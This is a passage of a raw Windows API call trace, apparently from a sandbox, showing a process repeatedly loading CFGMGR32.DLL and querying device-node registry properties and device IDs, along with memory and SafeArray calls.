(_Size=0x48) returned 0x196ef0cc850 [0181.673] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4d240df5, dwHighDateTime=0x1d9eb0c)) [0181.673] SetEvent (hEvent=0x248) returned 1 [0181.676] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.676] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.676] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.677] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.678] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.679] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.679] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0181.679] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.690] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.690] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d267084, dwHighDateTime=0x1d9eb0c)) [0181.691] SetEvent (hEvent=0x248) returned 1 [0181.692] SetEvent (hEvent=0x248) returned 1 [0181.692] free (_Block=0x196ef0cc850) [0181.692] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.692] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.693] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d267084, dwHighDateTime=0x1d9eb0c)) [0181.693] SetEvent (hEvent=0x248) returned 1 [0181.694] SetEvent (hEvent=0x248) returned 1 [0181.694] free (_Block=0x196ef0cc850) [0181.694] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.695] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d267084, dwHighDateTime=0x1d9eb0c)) [0181.695] SetEvent (hEvent=0x248) returned 1 [0181.696] SetEvent (hEvent=0x248) returned 1 [0181.696] free (_Block=0x196ef0cc850) [0181.697] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.697] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d267084, dwHighDateTime=0x1d9eb0c)) [0181.697] SetEvent (hEvent=0x248) returned 1 [0181.703] SetEvent (hEvent=0x248) returned 1 [0181.703] free (_Block=0x196ef0ccda0) [0181.703] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0181.706] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.706] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d28d41f, dwHighDateTime=0x1d9eb0c)) [0181.706] SetEvent (hEvent=0x248) returned 1 [0181.708] SetEvent (hEvent=0x248) returned 1 [0181.709] free (_Block=0x196ef0ccda0) [0181.709] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xd, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0181.709] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4d28d41f, dwHighDateTime=0x1d9eb0c)) [0181.710] SetEvent (hEvent=0x248) returned 1 [0181.712] SetEvent (hEvent=0x248) returned 1 [0181.713] free (_Block=0x196ef0cc850) [0181.713] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xd, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0181.713] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.713] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4d28d41f, dwHighDateTime=0x1d9eb0c)) [0181.713] SetEvent (hEvent=0x248) returned 1 [0181.887] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.887] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.889] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.889] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.889] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.889] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.889] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.890] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.891] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.892] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.892] malloc (_Size=0x18) returned 0x196ef0d1b20 [0181.892] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0181.892] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d456ff7, dwHighDateTime=0x1d9eb0c)) [0181.892] SetEvent (hEvent=0x248) returned 1 [0181.898] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.898] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.898] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.899] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.900] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.901] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.901] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.901] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.903] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.904] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.904] malloc (_Size=0x18) returned 0x196ef0d1d00 [0181.904] CM_Get_Device_IDA (in: dnDevInst=0xe, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\VOLMGR\\0000") returned 0x0 [0181.904] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.904] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4d47d320, dwHighDateTime=0x1d9eb0c)) [0181.904] SetEvent (hEvent=0x248) returned 1 [0181.907] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.907] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.908] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.909] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.909] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.909] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.909] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.909] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.910] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.910] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.910] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.910] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.910] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.910] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.911] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.912] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.912] malloc (_Size=0x18) returned 0x196ef0d1d40 [0181.912] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0181.912] malloc (_Size=0x1a) returned 0x196ef0f9be0 [0181.912] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9be0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9be0, pulLength=0x67117d608) returned 0x0 [0181.913] free (_Block=0x196ef0f9be0) [0181.913] malloc (_Size=0x48) returned 0x196ef0ccda0 [0181.913] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4d47d320, dwHighDateTime=0x1d9eb0c)) [0181.913] SetEvent (hEvent=0x248) returned 1 [0181.915] malloc (_Size=0x18) returned 0x196ef0d1be0 [0181.916] SafeArrayPutElement (psa=0x196ef1f2c30, rgIndices=0x67117d6d8, pv=0x196ee79a5a8) returned 0x0 [0181.916] free (_Block=0x196ef0d1be0) [0181.916] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee855b60 [0181.916] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0181.916] SafeArrayGetLBound (in: psa=0x196ef1f2c30, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0181.916] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0181.916] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6680 [0181.916] SafeArrayGetDim (psa=0x196ef1f2c30) returned 0x1 [0181.916] SafeArrayGetUBound (in: psa=0x196ef1f2c30, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0181.916] SafeArrayGetElemsize (psa=0x196ef1f2c30) returned 0x8 [0181.916] SafeArrayGetElement (in: psa=0x196ef1f2c30, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0181.917] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d20, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0181.918] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6680) returned 1 [0181.921] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee855b60) returned 1 [0181.922] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0181.922] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0181.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0181.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0181.922] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0181.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0181.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0181.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0181.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0181.923] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0181.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0181.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0181.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0181.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0181.924] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0181.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0181.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0181.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0181.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0181.925] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0181.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0181.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0181.926] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0181.926] malloc (_Size=0x18) returned 0x196ef0d1c40 [0181.926] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0181.927] malloc (_Size=0x52) returned 0x196ef0fa3f0 [0181.927] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0fa3f0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0fa3f0, pulLength=0x67117d608) returned 0x0 [0181.927] free (_Block=0x196ef0fa3f0) [0181.927] malloc (_Size=0x48) returned 0x196ef0cc850 [0181.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4d4a34ba, dwHighDateTime=0x1d9eb0c)) [0181.928] SetEvent (hEvent=0x248) returned 1 [0181.930] malloc (_Size=0x18) returned 0x196ef0d1de0 [0181.930] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ee7777a8) returned 0x0 [0181.930] free (_Block=0x196ef0d1de0) [0181.931] malloc (_Size=0x18) returned 0x196ef0d1be0 [0181.931] SafeArrayPutElement (psa=0x196ef1f2230, rgIndices=0x67117d6d8, pv=0x196ef1f26a8) returned 0x0 [0181.931] free (_Block=0x196ef0d1be0) [0181.931] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856260 [0181.931] SafeArrayGetDim (psa=0x196ef1f2230) returned 0x1 [0181.931] SafeArrayGetLBound (in: psa=0x196ef1f2230, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0181.931] SafeArrayGetUBound (in: psa=0x196ef1f2230, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0181.931] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b6050 [0181.931] SafeArrayGetDim (psa=0x196ef1f2230) returned 0x1 [0181.931] SafeArrayGetUBound (in: psa=0x196ef1f2230, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0181.931] SafeArrayGetElemsize (psa=0x196ef1f2230) returned 0x8 [0181.932] SafeArrayGetElement (in: psa=0x196ef1f2230, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0181.932] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8335d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.042] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8335d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.043] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b6050) returned 1 [0182.043] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856260) returned 1 [0182.044] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.044] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.044] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.045] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.046] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.047] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.048] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.048] malloc (_Size=0x18) returned 0x196ef0d1de0 [0182.049] 